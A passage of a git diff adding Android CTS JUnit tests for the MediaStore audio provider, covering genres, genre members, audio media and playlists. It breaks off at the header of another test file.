+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore.Audio.Genres;
+import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_GenresTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(
+                Genres.getContentUri(mVolumeName), null, null,
+                    null, null));
+        c.close();
+    }
+
+    @Test
+    @Ignore("Genres cannot be directly modified")
+    public void testStoreAudioGenresExternal() {
+        // insert
+        ContentValues values = new ContentValues();
+        values.put(Genres.NAME, "POP");
+        Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+        assertNotNull(uri);
+
+        try {
+            // query
+            Cursor c = mContentResolver.query(uri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals("POP", c.getString(c.getColumnIndex(Genres.NAME)));
+            assertTrue(c.getLong(c.getColumnIndex(Genres._ID)) > 0);
+            c.close();
+        } finally {
+            assertEquals(1, mContentResolver.delete(uri, null, null));
+        }
+    }
+
+    @Test
+    @Ignore("Genres cannot be directly modified")
+    public void testGetContentUriForAudioId() {
+        // Insert an audio file into the content provider.
+        Uri audioUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+        assertNotNull(audioUri);
+        long audioId = ContentUris.parseId(audioUri);
+        assertTrue(audioId != -1);
+
+        // Insert a genre into the content provider.
+        ContentValues values = new ContentValues();
+        values.put(Genres.NAME, "Soda Pop");
+        Uri genreUri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+        assertNotNull(genreUri);
+        long genreId = ContentUris.parseId(genreUri);
+        assertTrue(genreId != -1);
+
+        Cursor cursor = null;
+        try {
+            // Check that the audio file has no genres yet.
+            Uri audioGenresUri = Genres.getContentUriForAudioId(mVolumeName, (int) audioId);
+            cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
+            assertFalse(cursor.moveToNext());
+
+            // Link the audio file to the genre.
+            values.clear();
+            values.put(Members.AUDIO_ID, audioId);
+            Uri membersUri = Members.getContentUri(mVolumeName, genreId);
+            assertNotNull(mContentResolver.insert(membersUri, values));
+
+            // Check that the audio file has the genre it was linked to.
+            cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(genreId, cursor.getLong(cursor.getColumnIndex(Genres._ID)));
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+            assertEquals(1, mContentResolver.delete(audioUri, null, null));
+            assertEquals(1, mContentResolver.delete(genreUri, null, null));
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
new file mode 100644
index 0000000..b9dc9c9
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
@@ -0,0 +1,317 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Genres;
+import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_Genres_MembersTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    private long mAudioIdOfJam;
+
+    private long mAudioIdOfJamLive;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+
+        Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+        Cursor c = mContentResolver.query(uri, null, null, null, null);
+        c.moveToFirst();
+        mAudioIdOfJam = c.getLong(c.getColumnIndex(Media._ID));
+        c.close();
+
+        uri = Audio2.getInstance().insert(mContentResolver, mVolumeName);
+        c = mContentResolver.query(uri, null, null, null, null);
+        c.moveToFirst();
+        mAudioIdOfJamLive = c.getLong(c.getColumnIndex(Media._ID));
+        c.close();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // "jam" should already have been deleted as part of the test, but delete it again just
+        // in case the test failed and aborted before that.
+        mContentResolver.delete(Media.getContentUri(mVolumeName),
+                Media._ID + "=" + mAudioIdOfJam, null);
+        mContentResolver.delete(Media.getContentUri(mVolumeName),
+                Media._ID + "=" + mAudioIdOfJamLive, null);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(
+                Members.getContentUri(mVolumeName, 1), null,
+                    null, null, null));
+        c.close();
+    }
+
+    @Test
+    @Ignore("Genres cannot be directly modified")
+    public void testStoreAudioGenresMembersExternal() {
+        ContentValues values = new ContentValues();
+        values.put(Genres.NAME, Audio1.GENRE);
+        Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+        Cursor c = mContentResolver.query(uri, null, null, null, null);
+        c.moveToFirst();
+
+        long genreId = c.getLong(c.getColumnIndex(Genres._ID));
+        long genre2Id = -1; // used later
+        c.close();
+
+        // verify that the Uri has the correct format and genre value
+        assertEquals(ContentUris.withAppendedId(Genres.getContentUri(mVolumeName), genreId),
+                uri);
+
+        // insert audio as the member of the genre
+        values.clear();
+        values.put(Members.AUDIO_ID, mAudioIdOfJam);
+        Uri membersUri = Members.getContentUri(mVolumeName, genreId);
+        assertNotNull(mContentResolver.insert(membersUri, values));
+
+        try {
+            // query, slow path
+            c = mContentResolver.query(membersUri, null, null, null, null);
+
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+
+            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
+            assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
+            final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
+                    .getAsString(Members.DATA);
+            assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
+            assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
+            assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
+            assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
+            assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
+            assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
+            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
+            String albumKey = c.getString(c.getColumnIndex(Members.ALBUM_KEY));
+            assertNotNull(albumKey);
+            long albumId = c.getLong(c.getColumnIndex(Members.ALBUM_ID));
+            assertTrue(albumId > 0);
+            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
+            String artistKey = c.getString(c.getColumnIndex(Members.ARTIST_KEY));
+            assertNotNull(artistKey);
+            long artistId = c.getLong(c.getColumnIndex(Members.ARTIST_ID));
+            assertTrue(artistId > 0);
+            assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
+            assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
+            assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
+            assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
+            assertEquals(Audio1.IS_NOTIFICATION,
+                    c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
+            assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
+            assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
+            String titleKey = c.getString(c.getColumnIndex(Members.TITLE_KEY));
+            assertNotNull(titleKey);
+            c.close();
+
+            // query again, fast path
+            c = mContentResolver.query(membersUri,
+                    new String[] { Members.AUDIO_ID, Members.GENRE_ID},
+                    null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
+            assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+            c.close();
+
+            // Query with a constraint on _id. Note that _id corresponds to the _id
+            // column in the audio table, not the one in the audio_genres_map table.
+            // We need to preserve this behavior for backward compatibility.
+            c = mContentResolver.query(membersUri, null,
+                    Members._ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
+            c.close();
+
+            // Query members across all genres
+            // TODO: migrate this to using public API
+            Uri allMembersUri = MediaStore.Audio.Genres.getContentUri(mVolumeName).buildUpon()
+                    .appendPath("all").appendPath("members").build();
+            c = mContentResolver.query(allMembersUri, null, null, null, null);
+            int colidx = c.getColumnIndex(Members.AUDIO_ID);
+            int jamcnt = 0;
+            // The song should appear only once, for the genre we used when inserting it
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mAudioIdOfJam) {
+                    jamcnt++;
+                    assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+                }
+            }
+            assertEquals(1, jamcnt);
+            c.close();
+
+            // Query the same Uri, but add a where clause to restrict it to the one entry we added
+            c = mContentResolver.query(allMembersUri, null,
+                    Members.AUDIO_ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+            assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
+            c.close();
+
+            // create another genre
+            values.clear();
+            values.put(Genres.NAME, Audio1.GENRE + "-2");
+            uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
+            c = mContentResolver.query(uri, null, null, null, null);
+            c.moveToFirst();
+            genre2Id = c.getLong(c.getColumnIndex(Genres._ID));
+            c.close();
+
+            // insert the song into the second genre
+            values.clear();
+            values.put(Members.AUDIO_ID, mAudioIdOfJam);
+            Uri members2Uri = Members.getContentUri(mVolumeName, genre2Id);
+            assertNotNull(mContentResolver.insert(members2Uri, values));
+
+            // Query members across all genres again
+            c = mContentResolver.query(allMembersUri, null, null, null, null);
+            colidx = c.getColumnIndex(Members.AUDIO_ID);
+            int jamcnt1 = 0;
+            int jamcnt2 = 0;
+            // This time the song should appear twice, once for each genre
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mAudioIdOfJam) {
+                    long g = c.getLong(c.getColumnIndex(Members.GENRE_ID));
+                    if (g == genreId) {
+                        jamcnt1++;
+                    } else if (g == genre2Id) {
+                        jamcnt2++;
+                    } else {
+                        fail("wrong genre found");
+                    }
+                }
+            }
+            assertEquals(1, jamcnt1);
+            assertEquals(1, jamcnt2);
+            c.close();
+
+            // Delete the members, note that this does not delete the genre itself
+            assertEquals(1, mContentResolver.delete(membersUri, null, null)); // check number of rows deleted
+
+            // verify the genre is now empty
+            c = mContentResolver.query(membersUri, null, null, null, null);
+            assertEquals(0, c.getCount());
+            c.close();
+
+            // same for 2nd genre
+            assertEquals(1, mContentResolver.delete(members2Uri, null, null));
+            c = mContentResolver.query(members2Uri, null, null, null, null);
+            assertEquals(0, c.getCount());
+            c.close();
+
+            // insert again, then verify that deleting the audio entry cleans up its genre member
+            // entry as well
+            values.put(Members.AUDIO_ID, mAudioIdOfJam);
+            membersUri = Members.getContentUri(mVolumeName, genreId);
+            assertNotNull(mContentResolver.insert(membersUri, values));
+            // Query members across all genres
+            c = mContentResolver.query(allMembersUri,
+                    new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
+            colidx = c.getColumnIndex(Members.AUDIO_ID);
+            jamcnt = 0;
+            // The song should appear only once, for the genre we used when inserting it
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mAudioIdOfJam) {
+                    jamcnt++;
+                    assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
+                }
+            }
+            assertEquals(1, jamcnt);
+            c.close();
+            mContentResolver.delete(Media.getContentUri(mVolumeName),
+                    Media._ID + "=" + mAudioIdOfJam, null);
+            // Query members across all genres
+            c = mContentResolver.query(allMembersUri,
+                    new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
+            colidx = c.getColumnIndex(Members.AUDIO_ID);
+            jamcnt = 0;
+            // The song should no longer appear in the genre
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mAudioIdOfJam) {
+                    jamcnt++;
+                }
+            }
+            assertEquals(0, jamcnt);
+            c.close();
+        } finally {
+            // the members are deleted when deleting the genre which they belong to
+            mContentResolver.delete(Genres.getContentUri(mVolumeName),
+                    Genres._ID + "=" + genreId, null);
+            if (genre2Id >= 0) {
+                mContentResolver.delete(Genres.getContentUri(mVolumeName),
+                        Genres._ID + "=" + genre2Id, null);
+            }
+            c = mContentResolver.query(membersUri, null, null, null, null);
+            assertEquals(0, c.getCount());
+            c.close();
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
new file mode 100644
index 0000000..679bdb4
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_MediaTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private Uri mExternalAudio;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(
+                Media.getContentUri(mVolumeName), null, null,
+                    null, null));
+        c.close();
+
+        assertEquals(ContentUris.withAppendedId(Media.getContentUri(mVolumeName), 42),
+                Media.getContentUri(mVolumeName, 42));
+    }
+
+    @Test
+    public void testGetContentUriForPath() {
+        Cursor c = null;
+        String externalPath = Environment.getExternalStorageDirectory().getPath();
+        assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(externalPath), null, null,
+                null, null));
+        c.close();
+
+        String internalPath = mContext.getFilesDir().getAbsolutePath();
+        assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
+                null, null));
+        c.close();
+    }
+
+    @Test
+    public void testStoreAudioMedia() {
+        Audio1 audio1 = Audio1.getInstance();
+        ContentValues values = audio1.getContentValues(mVolumeName);
+        //insert
+        Uri mediaUri = Media.getContentUri(mVolumeName);
+        Uri uri = mContentResolver.insert(mediaUri, values);
+        assertNotNull(uri);
+
+        try {
+            // query
+            // the following columns in the table are generated automatically when inserting:
+            // _ID, DATE_ADDED, ALBUM_ID, ALBUM_KEY, ARTIST_ID, ARTIST_KEY, TITLE_KEY
+            // the column DISPLAY_NAME will be ignored when inserting
+            Cursor c = mContentResolver.query(uri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long id = c.getLong(c.getColumnIndex(Media._ID));
+            assertTrue(id > 0);
+            String expected = audio1.getContentValues(mVolumeName).getAsString(Media.DATA);
+            assertEquals(expected, c.getString(c.getColumnIndex(Media.DATA)));
+            assertTrue(c.getLong(c.getColumnIndex(Media.DATE_ADDED)) > 0);
+            assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
+            assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+            assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Media.SIZE)));
+            assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Media.TITLE)));
+            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Media.ALBUM)));
+            String albumKey = c.getString(c.getColumnIndex(Media.ALBUM_KEY));
+            assertNotNull(albumKey);
+            long albumId = c.getLong(c.getColumnIndex(Media.ALBUM_ID));
+            assertTrue(albumId > 0);
+            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Media.ARTIST)));
+            String artistKey = c.getString(c.getColumnIndex(Media.ARTIST_KEY));
+            assertNotNull(artistKey);
+            long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
+            assertTrue(artistId > 0);
+            assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Media.COMPOSER)));
+            assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Media.DURATION)));
+            assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Media.IS_ALARM)));
+            assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
+            assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
+            assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
+            assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
+            String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
+            assertNotNull(titleKey);
+            c.close();
+
+            // test filtering
+            Uri baseUri = Media.getContentUri(mVolumeName);
+            Uri filterUri = baseUri.buildUpon()
+                .appendQueryParameter("filter", Audio1.ARTIST).build();
+            c = mContentResolver.query(filterUri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long fid = c.getLong(c.getColumnIndex(Media._ID));
+            assertTrue(id == fid);
+            c.close();
+
+            filterUri = baseUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
+            c = mContentResolver.query(filterUri, null, null, null, null);
+            assertEquals(0, c.getCount());
+            c.close();
+        } finally {
+            // delete
+            int result = mContentResolver.delete(uri, null, null);
+            assertEquals(1, result);
+        }
+    }
+
+    @Test
+    public void testCanonicalize() throws Exception {
+        // Remove all audio left over from other tests
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalAudio,
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+
+        // Publish some content
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final Uri a = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "a.mp3")));
+        final Uri b = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "b.mp3")));
+        final Uri c = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "c.mp3")));
+
+        // Confirm we can canonicalize and recover it
+        final Uri canonicalized = mContentResolver.canonicalize(b);
+        assertNotNull(canonicalized);
+        assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
+
+        // Delete all items above
+        mContentResolver.delete(a, null, null);
+        mContentResolver.delete(b, null, null);
+        mContentResolver.delete(c, null, null);
+
+        // Confirm canonical item isn't found
+        assertNull(mContentResolver.uncanonicalize(canonicalized));
+
+        // Publish data again and confirm we can recover it
+        final Uri d = ProviderTestUtils.scanFileFromShell(
+                ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "d.mp3")));
+        assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
+    }
+
+    @Test
+    public void testSortLocale() {
+        final Bundle queryArgs = new Bundle();
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_SORT_COLUMNS,
+                new String[] { Audio.Media.TITLE });
+
+        for (String locale : new String[] {
+                "zh",
+                "zh@collation=pinyin",
+                "zh@collation=stroke",
+                "zh@collation=zhuyin",
+        }) {
+            queryArgs.putString(ContentResolver.QUERY_ARG_SORT_LOCALE, locale);
+            try (Cursor c = mContentResolver.query(mExternalAudio, null, queryArgs, null)) {
+            }
+        }
+    }
+
+    @Test
+    public void testTrack() throws Exception {
+        final Uri uri = ProviderTestUtils.stageMedia(R.raw.iso88591_11,
+                mExternalAudio, "audio/mpeg");
+        try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+            assertTrue(c.moveToFirst());
+
+            // The media file is technically disc "1/2" and track "2/10", but we
+            // parse it into a funky format that has been around for years.
+            assertEquals(1002, c.getInt(c.getColumnIndex(MediaStore.Audio.Media.TRACK)));
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
new file mode 100644
index 0000000..289d3ac
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore.Audio.Playlists;
+import android.provider.cts.ProviderTestUtils;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_PlaylistsTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(
+                Playlists.getContentUri(mVolumeName), null, null,
+                null, null));
+        c.close();
+    }
+
+    @Test
+    public void testStoreAudioPlaylistsExternal() throws Exception {
+        final String externalPlaylistPath = new File(ProviderTestUtils.stageDir(mVolumeName),
+                "my_favorites.pl").getAbsolutePath();
+        ContentValues values = new ContentValues();
+        values.put(Playlists.NAME, "My favourites");
+        values.put(Playlists.DATA, externalPlaylistPath);
+        long dateAdded = System.currentTimeMillis() / 1000;
+        long dateModified = System.currentTimeMillis() / 1000;
+        values.put(Playlists.DATE_MODIFIED, dateModified);
+        // insert
+        Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
+        assertNotNull(uri);
+
+        try {
+            // query
+            Cursor c = mContentResolver.query(uri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals("My favourites", c.getString(c.getColumnIndex(Playlists.NAME)));
+            assertEquals(externalPlaylistPath,
+                    c.getString(c.getColumnIndex(Playlists.DATA)));
+
+            long realDateAdded = c.getLong(c.getColumnIndex(Playlists.DATE_ADDED));
+            assertTrue(realDateAdded >= dateAdded);
+            assertEquals(dateModified, c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED)));
+            assertTrue(c.getLong(c.getColumnIndex(Playlists._ID)) > 0);
+            c.close();
+        } finally {
+            assertEquals(1, mContentResolver.delete(uri, null, null));
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
new file mode 100644
index 0000000..9135a4b
--- /dev/null
